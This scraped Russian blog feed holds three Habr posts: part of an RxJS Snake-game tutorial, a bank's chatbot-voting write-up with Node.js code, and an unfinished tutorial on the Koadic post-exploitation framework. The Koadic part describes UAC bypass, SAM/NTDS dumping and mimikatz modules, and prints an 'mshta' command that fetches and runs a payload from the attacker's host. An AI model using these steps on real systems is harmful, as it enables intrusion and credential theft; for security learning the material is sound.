                          Как упоминалось ранее, мы будем получать каждое событие нажатия клавиши, потому что мы не отфильтровываем те, которые нас не интересуют, например, клавиши символов. Однако можно утверждать, что мы уже фильтруем события, просматривая их на карте направлений. Для каждого keyCode, который не определен на этой карте, он будет возвращен как undefined. Тем не менее, на самом деле это не фильтрует значения в потоке, поэтому мы можем использовать оператор filter(), чтобы обрабатывать только нужные значения.

                          let direction$ = keydown$
                            .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])
                            .filter(direction => !!direction)
                          


                          Хорошо, это было легко. Код выше отлично работает и работает так, как ожидалось. Тем не менее, есть еще кое-что для улучшения. Вы догадались что именно?

                          Ну, одна идея состоит в том, что мы хотим помешать змее идти в противоположную сторону, например. справа налево или сверху вниз. На самом деле не имеет смысла допускать такое поведение, потому что правило номер один заключается в том, чтобы избежать попадания в собственный хвост, помните?

                          Решение довольно просто. Мы кэшируем предыдущее направление и когда вызывается новое событие, мы проверяем, не отличается ли новое направление от противоположного. Вот функция, которая вычисляет next (следующее) направление:

                          export function nextDirection(previous, next) {
                            let isOpposite = (previous: Point2D, next: Point2D) => {
                              return next.x === previous.x * -1 || next.y === previous.y * -1;
                            };
                          
                            if (isOpposite(previous, next)) {
                              return previous;
                            }
                          
                            return next;
                          }
                          


                          Это первый случай, когда у нас возникает соблазн сохранить состояние за пределами Observable (наблюдаемого) источника информации, потому что нам как-то нужно правильно отслеживать предыдущее направление… Легким решением является просто сохранить предыдущее направление во внешней переменной состояния. Но постойте! Ведь мы хотели избежать этого, не так ли?

                          Чтобы избежать внешней переменной, нам нужен способ сортировки совокупных бесконечных Observables. RxJS имеет очень удобный оператор, который мы можем использовать для решения нашей проблемы — scan().

                          Оператор scan() очень похож на Array.reduce(), но вместо того, чтобы только возвращать последнее значение, он инициирует отправку каждого промежуточного результата. С помощью scan() мы можем в основном накапливать значения и бесконечно сокращать поток входящих событий до одного значения. Таким образом, мы можем отслеживать предыдущее направление, не полагаясь на внешнее состояние.

                          Давайте применим это и посмотрим на наш окончательный direction$ поток:

                          let direction$ = keydown$
                            .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])
                            .filter(direction => !!direction)
                            .scan(nextDirection)
                            .startWith(INITIAL_DIRECTION)
                            .distinctUntilChanged();
                          


                          Обратите внимание, что мы используем startWith(), чтобы инициировать начальное значение, прежде чем начинать отправлять значения из источника Observable (keydown$). Без этого оператора наш Observable начнет отправлять значения только тогда, когда игрок нажимает клавишу.

                          Второе улучшение заключается в том, чтобы инициировать отправку значений только тогда, когда новое направление отличается от предыдущего. Другими словами, нам нужны только отличающиеся значения. Возможно, вы заметили в приведенном выше фрагменте distinctUntilChanged(). Этот оператор делает грязную работу за нас и подавляет повторяющиеся элементы. Обратите внимание, что distinctUntilChanged() только отфильтровывает одинаковые значения, если между ними не выбрано другое.

                          Следующая схема визуализирует наш поток direction$ и то, как он работает. Значения, окрашенные в синий цвет, представляют начальные значения, желтый означает, что значение было изменено на потоке Observable, а значения, отправленные в потоке результатов, окрашены в оранжевый цвет.



                          Отслеживание длины

                          Прежде чем мы реализуем саму змею, давайте придумаем как отслеживать ее длину. Почему нам нужна длина в первую очередь? Ну, мы используем эту информацию для моделирования счета. Правильно будет сказать, что в императивном мире мы просто проверяем, было ли столкновение всякий раз, когда змея движется, и если это так, мы увеличиваем счет. Таким образом, на самом деле нет необходимости отслеживать длину. Тем не менее, такой подход представил бы еще одну переменную внешнего состояния, которой мы хотим избежать любой ценой.

                          В реактивном мире решение немного отличается. Один из простых подходов может заключаться в использовании потока snake$, и каждый раз, когда он отправляет значение, мы знаем, что змея увеличилась в длину. Хотя это действительно зависит от реализации snake$, пока мы не будем реализовывать этот поток. С самого начала мы знаем, что змея зависит от ticks$, поскольку она перемещается на определенное расстояние с течением времени. Таким образом, snake$ будет накапливать массив сегментов тела, и поскольку она основана на ticks$, она будет генерировать значение каждые x миллисекунд. Тем не менее, даже если змея не сталкивается ни с чем, snake$ будет по-прежнему отправлять значения. Это потому, что змея постоянно движется по полю, и поэтому массив всегда будет другим.

                          Это может быть немного сложно понять, потому что между различными потоками есть определенные зависимости. Например, apples$ будут зависеть от snake$. Причина этого в том, что каждый раз, когда движется змея, нам нужен массив сегментов её тела, чтобы проверить, не сталкивается ли какая-либо из этих частей с яблоком. В то время как поток apples$ будет накапливать массив яблок, нам нужен механизм моделирования коллизий, который в то же время избегает круговых зависимостей.

                          BehaviorSubject как спасение

                          Решение этой задачи заключается в том, что мы будем внедрять механизм вещания, используя BehaviorSubject. RxJS предлагает различные типы Subjects (предметов) с различными функциональными возможностями. Таким образом, класс Subject предоставляет базу для создания более специализированных Subjects. В двух словах, Subject является типом, который реализует одновременно типы Observer (наблюдатель) и Observable (наблюдаемый). Observables определяют поток данных и создают данные, в то время как Observers могут подписаться на Observables и получать данные.

                          BehaviorSubject — это более специализированный Subject, предоставляющий значение, которое изменяется со временем. Теперь, когда Observer подписывается на BehaviorSubject, он получит последнее отправленное значение, а затем все последующие значения. Его уникальность заключается в том, что он включает в себя начальное значение, так что все Observers получат как минимум одно значение при подписке.

                          Давайте продолжим и создадим новый BehaviorSubject с начальным значением SNAKE_LENGTH:

                          // SNAKE_LENGTH specifies the initial length of our snake
                          let length$ = new BehaviorSubject(SNAKE_LENGTH);
                          


                          С этого места остался лишь небольшой шаг для реализации snakeLength$:

                          let snakeLength$ = length$
                            .scan((step, snakeLength) => snakeLength + step)
                            .share();
                          


                          В приведенном выше коде мы видим, что snakeLength$ основана на length$, которая является нашим BehaviorSubject. Это означает, что всякий раз, когда мы передаем новое значение для Subject, используя next(), он будет отправлять значение на snakeLength$. Кроме того, мы используем scan() для накопления длины с течением времени. Круто, но вам может быть интересно, что это за share(), не так ли?

                          Как уже упоминалось, snakeLength$ будет позже использоваться как входящие данные для snake$, но в то же время действует как исходный поток для счёта игрока. Как результат мы в конечном итоге воссоздаем этот исходный поток со второй подпиской на тот же Observable. Это происходит потому, что length$ является cold Observable (холодным Наблюдаемым).

                          Если вы совершенно не знакомы с hot and cold Observables (горячими и холодными наблюдателями), мы написали статью о Cold vs Hot Observables.

                          Дело в том, что мы используем share(), чтобы разрешить мульти подписки к Observable, которые в противном случае повторно создавали бы его источник при каждой подписке. Этот оператор автоматически создает Subject между исходным источником и всеми будущими подписчиками. Как только количество подписчиков перейдет от нуля к одному, он подключит Subject к базовому источнику Observable и инициирует отправку всех своих уведомлений. Все будущие подписчики будут подключены к этому промежуточному Subject, так что это эффективно, что есть только одна подписка на лежащий ниже холодный Observable. Это называется многоадресной рассылкой (мультикастинг) и поможет Вам выделиться.

                          Потрясающие! Теперь, когда у нас есть механизм, который мы можем использовать для передачи значений нескольким подписчикам, мы можем пойти дальше и реализовать score$.

                          Реализация счета (score$)

                          Реализация счета игрока настолько проста, насколько это возможно. Вооружившись snakeLength$, мы теперь можем создать поток score$, который просто накапливает счет игрока с помощью scan():

                          let score$ = snakeLength$
                            .startWith(0)
                            .scan((score, _) => score + POINTS_PER_APPLE);
                          


                          По сути мы используем snakeLength$ или, скорее, length$, чтобы уведомлять подписчиков о том, что произошло столкновение, и если это действительно было так, мы просто увеличиваем счет на POINTS_PER_APPLE, постоянное количество очков за яблоко. Обратите внимание, что startWith(0) необходимо добавить перед scan(), чтобы избежать указания начального значения.

                          Давайте посмотрим на более наглядное представление того, что мы только что реализовали:



                          Посмотрев на приведенную выше схему, вы можете задаться вопросом, почему начальное значение BehaviorSubject появляется только на snakeLength$ и отсутствует в score$. Это связано с тем, что первый подписчик заставит share() подписаться на базовый источник данных и, поскольку исходный источник данных сразу же отправляет значение, это значение уже будет отправлено к тому времени, когда произошли последующие подписки.

                          Чудно. Начиная с этого места, давайте реализуем поток для нашей змеи. Разве это не захватывающе?

                          Укрощение змейки (snake$)

                          К этому моменту мы уже выучили много операторов и теперь можем использовать их для реализации нашего потока snake$. Как обсуждалось в начале этой статьи, нам нужен какой-то тикер, который удерживает нашу голодную змею двигающейся. Оказывается, есть удобный оператор для этого interval(x), который отправляет значения каждые x миллисекунд. Давайте будем называть каждое значение тиком.

                          let ticks$ = Observable.interval(SPEED);
                          


                          С этого момента до реализации финального потока snake$ совсем немного. Для каждого тика, в зависимости от того, съела ли змея яблоко или нет, мы хотим либо переместить её вперёд, либо добавить новый сегмент. Поэтому мы можем использовать уже знакомую нам функцию scan() для накопления массива сегментов тела. Но, как вы, возможно, догадались, перед нами возникает вопрос. Где вступают в игру потоки direction$ или snakeLength$?

                          Абсолютно законный вопрос. Направление, как и длина змеи легко доступны внутри нашего потока snake$, если мы сохраним эту информацию в переменной за пределами наблюдаемого потока. Но опять же, мы нарушаем наше правило не изменять внешнее состояние.

                          К счастью, RxJS предлагает еще один очень удобный оператор с именем withLatestFrom(). Это оператор, используемый для объединения потоков, и это именно то, что мы ищем. Этот оператор применяется к первичному потоку, который контролирует, когда данные будут отправляться в результирующий поток. Другими словами, вы можете думать о withLatestFrom() как о способе регулирования отправки данных вторичного потока.

                          Учитывая вышесказанное у нас есть инструменты, необходимые для окончательного внедрения голодной snake$:

                          let snake$ = ticks$
                            .withLatestFrom(direction$, snakeLength$, (_, direction, snakeLength) => [direction, snakeLength])
                            .scan(move, generateSnake())
                            .share();
                          


                          Наш основной источник — это ticks$, и всякий раз, когда новое значение проходит вниз по своему пути, мы берем последние значения как с direction$, так и с snakeLength$. Обратите внимание, что даже если вторичные потоки часто отправляют значения, например, если игрок разбивает себе голову на клавиатуре, мы будем обрабатывать данные только для каждого тика.

                          Кроме того, мы передаем селекторную функцию (функцию для настройки) в withLatestFrom, которая вызывается, когда первичный поток инициирует отправку значения. Эта функция является необязательной, и если ее убрать, то появляется список со всеми элементами.

                          Мы не будем объяснять функцию move(), поскольку основной целью этого поста является содействие изменению фундаментального мышления. Тем не менее, вы можете найти её исходный код на GitHub.

                          Вот схема, которая наглядно демонстрирует код выше:



                          Видите как мы регулируем поток direction$? Дело в том, что использование withLatestFrom() очень практично, когда вы хотите объединить несколько потоков, и Вы не заинтересованы в создании значений в блоке Observable (наблюдаемом), когда любой из потоков отправляет данные.

                          Создание яблок

                          Вы можете заметить, что внедрение наших основных строительных блоков для игры становится всё проще, поскольку мы узнаем все больше и больше операторов. Если Вы дошли до этой точки, то оставшиеся шаги будут легкими.

                          На данный момент мы реализовали несколько потоков, таких как direction$, snakeLength$, score$ и snake$. Если мы объединим их вместе, мы сможем перемещаться по этому зверю змею. Но что это за игра, если нечего есть. Довольно скучно.

                          Давайте создадим несколько яблок, чтобы удовлетворить аппетит нашей змеи. Во-первых, давайте проясним, какое состояние нам нужно сохранить. Ну, это может быть либо один объект, либо массив объектов. Для нашей реализации мы выберем массив яблок. Вы слышите звон колоколов?

                          Правильно, мы снова можем использовать scan() для накопления массива яблок. Мы начинаем с начального значения, и каждый раз, когда змея движется, мы проверяем, произошло ли столкновение. Если это так, мы создаем новое яблоко и возвращаем новый массив. Таким образом мы можем использовать distinctUntilChanged() для фильтрации одинаковых значений.

                          let apples$ = snake$
                            .scan(eat, generateApples())
                            .distinctUntilChanged()
                            .share();
                          


                          Круто! Это означает, что всякий раз, когда apples$ отправляет новое значение, мы можем предположить, что наша змея съела один из этих вкусных фруктов. Осталось увеличить счет, а также сообщить другим потокам об этом событии, таким как snake$, которая берет последнее значение от snakeLength$, чтобы определить, добавить ли новый сегмент тела.

                          Вещание событий

                          Немного ранее мы реализовали механизм вещания, помните? Давайте использовать его для запуска желаемых действий. Вот наш код для eat():

                          export function eat(apples: Array, snake) {
                            let head = snake[0];
                          
                            for (let i = 0; i < apples.length; i++) {
                              if (checkCollision(apples[i], head)) {
                                apples.splice(i, 1);
                                // length$.next(POINTS_PER_APPLE);
                                return [...apples, getRandomPosition(snake)];
                              }
                            }
                          
                            return apples;
                          }
                          


                          Простым решением является вызов length$.next(POINTS_PER_APPLE) прямо внутри блока условия. Но тогда мы столкнемся с проблемой, потому что мы не сможешь извлечь этот метод в свой собственный модуль утилит (модуль ES2015). В ES2015 модули хранятся в файлах, и для каждого файла существует ровно один модуль. Наша цель состоит в том, чтобы организовать наш код таким образом, чтобы его было легко поддерживать и расширять.

                          Более утонченным решением является введение еще одного потока, называемого applesEaten$. Этот поток основан на apples$ и каждый раз, когда в потоке отправляется новое значение, мы хотели бы выполнить какое-то действие, вызывая length$.next(). Для этого мы можем использовать оператор do(), который будет выполнять часть кода для каждого события.

                          Звучит выполнимо. Но нам как-то нужно пропустить первое (начальное) значение, испускаемое apples$. В противном случае мы в конечном итоге увеличиваем счет сразу, что не имеет большого смысла, поскольку игра только началась. Оказывается, у RxJS есть оператор для этого, а именно skip().

                          Тот факт, что applesEaten$ действует только как распространитель уведомлений для других потоков, означает что у нас не будет наблюдателя подписанного на этот поток. Поэтому мы должны подписаться на поток самостоятельно.

                          let appleEaten$ = apples$
                            .skip(1)
                            .do(() => length$.next(POINTS_PER_APPLE))
                            .subscribe();
                          


                          Собирая всё вместе

                          На этом этапе мы реализовали все основные строительные блоки нашей игры, и мы готовы, наконец, объединить все в один поток результата — scene$. Для этого мы будем использовать combineLatest. Этот оператор очень похож на withLatestFrom, но отличается в деталях. Во-первых, давайте посмотрим на код:

                          let scene$ = Observable.combineLatest(snake$, apples$, score$, (snake, apples, score) => ({ snake, apples, score }));
                          


                          Вместо того, чтобы регулировать частоту вторичных потоков, нас интересует событие каждый раз, когда любой из входных Observables (наблюдаемых) потоков генерирует новое значение. Последний аргумент снова является функцией настройкой, и мы просто берем все значения и возвращаем объект, который представляет собой наше состояние игры. Состояние игры содержит все, что нужно отображать на холсте.



                          Поддержание производительности

                          Не только в игре, но и в веб-приложениях мы стремимся поддерживать производительность. Понятие производительности может означать много, но с точки зрения нашей игры мы хотели бы перерисовать всю сцену 60 раз в секунду.

                          Мы можем сделать это, представив другой поток, похожий на ticks$, но для рендеринга. В основном это лишь другой интервал:

                          // Interval expects the period to be in milliseconds which is why we devide FPS by 1000
                          Observable.interval(1000 / FPS)
                          


                          Проблема в том, что JavaScript является однопоточным. В худшем случае мы не позволяем браузеру ничего делать, и блокируем его. Другими словами, браузер не сможет обработать все эти обновления достаточно быстро. Причина этого заключается в том, что браузер пытается отобразить кадр, а затем сразу же запрашивает возможность рендерить следующий. В результате он бросает текущую задачу и начинает следующую, чтобы поддерживать скорость. Вот тогда анимации начинают выглядеть неряшливо.

                          К счастью, мы можем использовать requestAnimationFrame, позволяя браузеру работать и выполнять наш скрипт в самое подходящее время. Но как мы используем его для нашего блока Observable? Хорошей новостью является то, что многие операторы, включая interval(), принимают в качестве последнего аргумента Scheduler (планировщик). В двух словах, Scheduler — это механизм, позволяющий запланировать выполнение какой-либо задачи в будущем.

                          Хотя RxJS предлагает множество планировщиков, тот, который нас интересует, называется animationFrame. Этот планировщик выполняет задачу при запуске window.requestAnimationFrame.

                          Отлично! Давайте применим это к нашему интервалу, и назовем результирующий Observable game$:

                          // Note the last parameter
                          const game$ = Observable.interval(1000 / FPS, animationFrame)
                          


                          Этот интервал теперь будет отправлять значения примерно каждые 16 мс, поддерживающие 60 FPS.

                          Отображение сцены

                          Нам осталось объединить нашу game$ с scene$. Можете ли вы догадаться, какой оператор мы используем для этого? Помните, что оба потока отправляются с разными интервалами, и теперь цель состоит в том, чтобы отобразить нашу сцену на холсте 60 раз в секунду. Мы будем использовать game$ в качестве основного потока, и каждый раз, когда он отправляет значение, мы объединяем его с последним значением из scene$. Звучит знакомо? Да, мы снова можем использовать withLatestFrom.

                          // Note the last parameter
                          const game$ = Observable.interval(1000 / FPS, animationFrame)
                            .withLatestFrom(scene$, (_, scene) => scene)
                            .takeWhile(scene => !isGameOver(scene))
                            .subscribe({
                              next: (scene) => renderScene(ctx, scene),
                              complete: () => renderGameOver(ctx)
                            });
                          


                          Возможно, вы заметили takeWhile() в приведенном выше коде. Это еще один очень полезный оператор, который мы можем вызвать на существующем Observable. Он будет возвращать значения из game$ до тех пор, пока isGameOver() не вернет true.

                          Вот живое демо для вас с которым можно поиграться:



                          Будущая работа

                          Игра очень простая, и в следующих записях мы будем расширять ее различными функциями, одна из которых перезапускает всю игру. Кроме того, мы рассмотрим, как мы можем реализовать паузу и возобновление игры, а также различные уровни сложности.

                          Будьте на связи!

                          Особая благодарность

                          Особая благодарность James Henry и Brecht Billiet за их помощь с кодом.
                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338910/


                          Метки:  

                          Как мы за неделю создали чат-бота и подружили его с веб-приложением

                          Четверг, 28 Сентября 2017 г. 13:45 + в цитатник
                          Otkritie сегодня в 13:45 Разработка

                          Как мы за неделю создали чат-бота и подружили его с веб-приложением

                            Чат-боты – новомодный тренд с многообещающими перспективами: в большинстве ситуаций искусственный интеллект эффективнее традиционных веб-приложений. Однако при интеграции новых технологий не стоит забывать о пользователях, не желающих – или не имеющих возможности – отказываться от привычных форм взаимодействия. Сегодня мы расскажем о том, как в течение недели создать чат-бота, обслуживающего конференции, и подружить его с классическим веб-приложением.

                            image
                            Фото chatbotsmagazine.com

                            Первое поручение для банковского чат-бота


                            Итак, искусственный интеллект пришел в банковский сектор и явно намерен здесь обосноваться. Технологии далеки от совершенства, чат-боты пока не способны полностью заменить человека. Но уже сегодня им можно смело доверить большинство рутинных задач по взаимодействию с клиентами. По крайней мере, здесь у них куда больше перспектив, чем у традиционных веб-приложений: 75% банковских сотрудников, опрошенных консалтинговым агентством Accenture, назвали основным вектором развития для данного направления именно искусственный интеллект.

                            Если технология Bot Framework от Microsoft действительно способна улучшить клиентский сервис – наш банк просто не имеет морального права оставаться в стороне. При помощи своего чат-бота с использованием решения Bot Framework мы решили оптимизировать процесс голосования. Дело в том, что у нас регулярно проводятся презентации и прочие мероприятия, на которых мы знакомим людей с нашими последними достижениями и новшествами. Аудитория может голосовать за те сессии, которые им понравились, оставлять комментарии и вносить предложения.

                            До сих пор мы предлагали участникам после мероприятия заполнить некое подобие анкеты на нашем сайте. Однако очевидно, что такая форма взаимодействия не является активной: достаточно часто пользователь просто закрывал веб-страницу. Другое дело – добавление ChatBot в список контактов. Наш робот не только вовлекает клиента в процесс обсуждения, но и остается с ним на связи после мероприятия. Впоследствии через чат-бот можно рассылать объявления, анонсы и прочую информацию.

                            image
                            Фото nonworkplace.com

                            Созданный нами при поддержке Microsoft и OpenDev чат-бот способен поддерживать множество каналов – различных устройств и платформ, которые пользователи привносят на мероприятие. В отличие от веб-формы наш виртуальный помощник остается активным на протяжение всего мероприятия. Он следит за вопросами участников о сессиях и ораторах, может провести опрос или голосование.

                            Принципиальные вопросы и первичная архитектура


                            Оценка границ и объемов проекта проходила в несколько этапов. Задача кажется простой только на первый взгляд. Копнув чуть глубже, наша команда столкнулась с целым рядом вопросов, потребовавших серьезного мозгового штурма.

                            • Должны ли все пользователи, подключенные к чат-боту через один канал – например Telegram, – состоять в одной группе? Или лучше организовать приватное взаимодействие для каждого клиента, чтобы сохранить тайну коммуникаций с ChatBot? Может быть, следует использовать оба варианта?
                            • Для организации группового общения (первый и третий варианты из предыдущего абзаца) нужно управлять контекстом и сеансами. Но есть ли в Bot Framework и Telegram достаточно эффективные средства для решения этой задачи?
                            • Можем ли мы использовать внутренние механизмы хранения, которые поддерживаются в Bot Framework?
                            • Как быть с веб-формой для голосования? Если мы продолжаем ее поддерживать – что делать в случаях, когда клиент одновременно пользуется и Web Form, и ChatBot?

                            image
                            Фото chatbotsmagazine.com

                            Отметим, что от идеи организации групповой связи мы в конечном итоге отказались. Bot Framework для Node.js – платформы, на которой мы разрабатывали чат-бота, – не позволяет эффективно управлять множественным контекстом. Поэтому поддержка связи была реализована через частный канал.

                            В необходимости использования веб-формы в качестве дополнительного инструмента для голосования мы не сомневались: было бы неправильно оставить Telegram единственным каналом связи. Но для корректного взаимодействия нужно добиться максимальной идентичности обоих каналов. Разумеется, динамика процесса отличается: чат-бот моделирует разговор, предлагая начать процесс голосования. Кроме того, он знакомит пользователя с новым отчетом и снабжает его дополнительной информацией.

                            Как уже сказано выше, чат-бот разрабатывался в Node.js. Что касается веб-формы, то она представляет собой сайт, написанный на Java. Оба компонента используют базу данных MySQL, расположенную в инфраструктуре OpenDev. Выбор системы базы данных основывался на ее простоте и низких требованиях к ресурсам сервера. Изначально архитектура была реализована на одном MySQL сервере. Первая версия, показанная на рисунке ниже, выглядит чрезвычайно просто. Осталось усовершенствовать эту модель, добавив масштабируемости и надежности.

                            image


                            Чат-бот, устойчивый к стрессам


                            Для начала – немного терминологии. Под масштабируемостью мы понимаем стрессоустойчивость программного обеспечения, его способность справляться с повышенной нагрузкой. Таким образом в любых ситуациях все одновременные пользователи должны иметь одинаковый опыт – с точки зрения латентности, времени загрузки и пр.

                            Надежность определяется временем, в течение которого система работает без сбоев. Кроме того, для обмена сообщениями необходимо обеспечить приложению высокую доступность. Иными словами, пользователи должны отправлять и получать сообщения в течение соответствующих временных интервалов.

                            Создать надежную и легко масштабируемую архитектуру помогло использование некоторых передовых методов.

                            • Loose coupling (https://en.wikipedia.org/wiki/Loose_coupling) – метод компоновки системы из максимально независимых друг от друга элементов. Каждый из компонентов архитектурного решения может быть легко и безболезненно заменен, обновлен или удален. То есть система остается работоспособной при отказе одного или нескольких компонентов.

                            Отметим, что большинство архитектурных решений уже было принято в Bot Framework и командой Azure. Нам осталось только протестировать методику в процессе.

                            • Separation of concerns (https://en.wikipedia.org/wiki/Separation_of_concerns) – передовая практика, идеально подходящая для разработки систем обмена сообщениями. В нашей ситуации «разделение интересов» выглядит следующим образом: хранение данных – внешнее, логика – внутри ChatBot, все остальное обрабатывается в Bot Framework.

                            • Disaster recovery architecture (архитектура восстановление после сбоев) была реализована при помощи части Azure Web Apps в сочетании с Bot Dashboard (https://github.com/CatalystCode/ibex-dashboar). В качестве средства мониторинга мы использовали Application Insights.

                            Вторая и окончательная версия архитектуры показана на рисунке ниже.

                            image

                            Аутентификация с вариантами и другие особенности системы


                            Взаимодействие чат-бота и веб-формы требуется с самого первого шага – аутентификации. Рассмотрим для начала классическую авторизацию через сайт. Мы постарались максимально упростить процесс: пользователь вводит в веб-форму свою электронную почту – и получает письмо с двумя вариантами входа в систему:

                            • по специальной ссылке;
                            • при помощи кода.

                            Второй способ универсален: код вводится либо в веб-форме, либо в чате. Синхронизация контента чат-бота и веб-формы происходит при любом из методов аутентификации. Правда, пользователь, авторизованный в веб-форме, все равно должен ввести код в чате. В этом случае чат-бот приветствует пользователя по имени, под которым он зарегистрировался на сайте.

                            image

                            Для чего нужна повторная аутентификация по коду? Для дополнительной безопасности: фактически после авторизации пользователя код служит в качестве токена.

                            Теперь рассмотрим «чистую» аутентификацию в чат-боте. Последовательность выглядит следующим образом:

                            1. Type / start.
                            2. Enter Email.
                            3. Get the code and enter it.

                            Аутентификация с использованием источника данных в базе MySQL позволила сделать процесс простым и удобным, дав при этом возможность частично синхронизировать контекст. Полная синхронизация контекста потребовала бы введения многофакторной аутентификации. А это – неоправданное усложнение логики плюс увеличение нагрузки на бэкэнд. В нашем случае, когда жизненный цикл взаимодействия пользователя с приложениями ограничивается несколькими днями, такой подход не имеет практического смысла.

                            image

                            Ниже приведен код, при помощи которого реализована процедура подтверждения. Как вы можете видеть, сначала код проверяется регулярным выражением, подтвержденным на бэкэнд. Затем он заменяет набор констант на пользовательские данные и завершает процесс, приветствуя пользователя по имени.

                            ``js
                            promptCode() {
                                	return [
                                    (session, args) => {
                                        	if (!_.isEmpty(args) && args.code) {
                                            return session.replaceDialog('/promptName', session.userData);
                                        	}
                             
                                        	if (!_.isEmpty(args) && args.reprompt) {
                                            return Prompts.text(session, 'Введите код из **4-х** цифр:');
                                        	}
                             
                                        	return Prompts.text(session, 'Введите код, присланный вам по email: ');
                                  	},
                                    (session, result) => {
                                        	if (/^[0-9]{4}$/.test(result.response)) {
                                            return auth.makeUnauthRequest({
                                            url: '/login',
                                            method: 'POST',
                                            body: {
                                                    	password: result.response,
                                                    	login: session.userData.email
                                            }
                                            }, (err, res, body) => {
                                            if (err) {
                                                            console.error(err);
                                                    	return session.replaceDialog('/error');
                                            }
                             
                                             if (body.status >= 300 || res.statusCode >= 300) {
                                                console.error(body);
                                             	return session.replaceDialog('/promptName', session.userData);
                                              }
                             
                                              session.userData.code = result.response;
                                              session.userData.id = body.id;
                                              session.userData.permissions = body.permissions;
                                                 session.userData.authToken = body.authToken;
                             
                                                    session.userData.allowToVote = !_.isEmpty(body.permissions)
                                                    	&& (body.permissions.indexOf("PERM_VOTE") !== -1
                                                    	|| body.permissions.indexOf("PERM_ALL") !== -1);
                             
                                                	return auth.makeAuthRequest({
                                                    	url: '/login',
                                                    	method: 'GET',
                                                    	authToken: body.authToken
                                                	}, (err, res, body) => {
                                                    	if (err) {
                                                          console.error(err);
                                                        	return session.beginDialog('/error');
                                             	}
                             
                                                    	if (!_.isEmpty(body) && !_.isEmpty(body.name)) {
                                                          session.userData.name = body.name;
                                                        	return session.endDialogWithResult(session.userData);
                                        	                }
                                                            return session.replaceDialog('/promptName', session.userData);
                                                	});
                                            	});
                                        	        }
                             
                                        	         return session.replaceDialog('/promptCode', {reprompt: true});
                                    }
                                	];
                            	}
                            ``

                            При взаимодействии с чатом или веб-формой можно получить информацию об отчетах без авторизации в системе. Чат-бот предлагает оценить отчет и написать комментарий всем клиентам. Но сделать это смогут лишь пользователи, прошедшие проверку подлинности. В противном случае бот высылает запрос на аутентификацию, как показано в следующем фрагменте кода.

                            ``js
                            rate() {
                                	return [
                                    (session) => {
                                        	if (_.isEmpty(session.userData.authToken) && !_.isEmpty(this.socket.actualPoll)) {
                                            session.send('Чтобы оценить выступление, вам следует войти в свой аккаунт.\n\n' +
                                            'Просто напишите `/start` и начнём! ');
                             
                                            return session.endDialog();
                                      }
                             
                                        	if (!session.userData.allowToVote) {
                                            session.send('У вас не хватает привилегий для оценивания выступлений');
                                            return session.endDialog();
                                        	   }
                             
                                            Prompts.choice(session, ' Оцените выступление', RATES);
                                    },
                                    (session, res) => {
                                        	if (res.response) {
                                            let result = parseInt(res.response.entity, 10) || res.response.entity;
                             
                                            if (!_.isNumber(result)) {
                                            result = RATES[result.toLowerCase()];
                                            }
                             
                                            return auth.makeAuthRequest({
                                            url: `/polls/${this.socket.actualPoll.id}/vote`,
                                            method: 'POST',
                                                  body: {
                                                    	myRating: result
                                            },
                                            authToken: session.userData.authToken
                                            }, (err, response, body) => {
                                            if (err) {
                                                 console.log(err);
                                                    	return session.beginDialog('/error');
                                             } else if (body.status === 403) {
                                                  session.send('У вас недостаточно прав на выполнение данной операции, простите ');
                                             } else {
                                                  console.log(body);
                                                  session.send('Выступление успешно оценено ');
                                             }
                             
                                             return session.endDialog();
                                             })
                                        	}
                             
                                        	session.endDialog();
                                    }
                                	];
                            	}
                            ``

                            Помимо прочего, чат-бот может подсказать вам следующие шаги. Это особенно важно для клиентов, использующих бота в качестве основного способа общения с системой.

                            ``js
                            	help() {
                                	return [
                                    (session) => {
                                        	const keys = _.keys(commands);
                                        	const result = _.map(keys, (v) => (`**/${v}** - ${commands
                                            session.send(result.join('\n\n'));
                                        	session.endDialog();
                                    }
                                    ];
                            	}
                            ``

                            Продолжение следует?


                            Можно констатировать, что наш эксперимент с Bot Framework от Microsoft по внедрению искусственного интеллекта в банковскую сферу завершился успешно. Стоит добавить, что проект полностью реализован одним разработчиком в течение недели. За это время был создан полноценный чат-бот с ботовой панелью, размещенной в Azure, а также поддержкой Application Insights и некоторыми полезными пользовательскими настройками в логике Bot.

                            image
                            Фото letzgro.net

                            Впрочем, лучше один раз увидеть. Экспериментальный чат-бот уже заступил на службу в нашем банке. Так что предлагаем вам при возможности посетить одну из наших конференций, чтобы протестировать и оценить работу этого маленького виртуального помощника на практике.
                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/338888/


                            Метки:  

                            Koadic — как Empire, только без powershell

                            Четверг, 28 Сентября 2017 г. 13:37 + в цитатник
                            antgorka сегодня в 13:37 Разработка

                            Koadic — как Empire, только без powershell

                            • Tutorial


                            В данном тексте речь пойдет про фреймворк Koadic, предназначенный для проведения пост-эксплуатации в ОС семейства Windows всех поколений, поскольку не требует для своей работы наличия powershell в системе.

                            Установка и архитектура


                            Клонируем официальный репозиторий с GitHub.

                            git clone https://github.com/zerosum0x0/koadic.git

                            После установки запускаем koadic и попадаем в меню



                            По структуре и принципу работы koadic очень похож на Powershell Empire.

                            Сначала от жертвы требуется выполнить какое-то действие, чтобы мы получили сессию.
                            Далее используется модуль для преодоления защиты User Acces Control (UAC) и уже после этого запускаются на выполнение другие модули.

                            Таким образом можно разделить модули Koadic на Stagers и Implants. На скриншоте выше вы можете видеть, что в моей версии доступно 4 стейджера (способ доставки имплантов) и 29 самих имплантов, что и является модулями, которые «делают что-то полезное».

                            При запуске по-умолчанию выбирается стейджер stager/js/mshta. Этот модуль не будет ничего писать на диск и для запуска имплантов использует .hta скрипты и, соответственно, процесс MSHTA.exe.

                            Есть и другие стейджеры, например stager/js/rundll32_js, который использует, как и следует из названия rundll32.exe вместо mshta.exe.

                            Что касаетя имплантов, то здесь у нас довольно большой выбор.

                            Помимо модулей преодоления UAC нам доступны модули, позволяющие читать содержимое буфера обмена, дампить SAM и NTDS, запускать mimikatz, естественно, выполнять команды в CMD, сканировать хосты в сети на наличие открытых портов и другое.

                            Полный список стейджеров и имплантов можно посмотреть на официальном сайте.

                            Примеры использования


                            После запуска можно выполнить команду help и получить такой список



                            Чтобы посмотреть параметры текущего модуля, нужно выполнить команду info



                            Если нас что-то не устраивает, то можно задать параметр при помощи команды set



                            Командой run запускаем стейджер.



                            Далее жертва должна выполнить команду

                            mshta http://192.168.1.3:1234/BFIER


                            Для демонстрации я выбрал старый Windows 2000 (IP 192.168.1.7).
                            После выполнения команды я получаю сессию в Koadic.



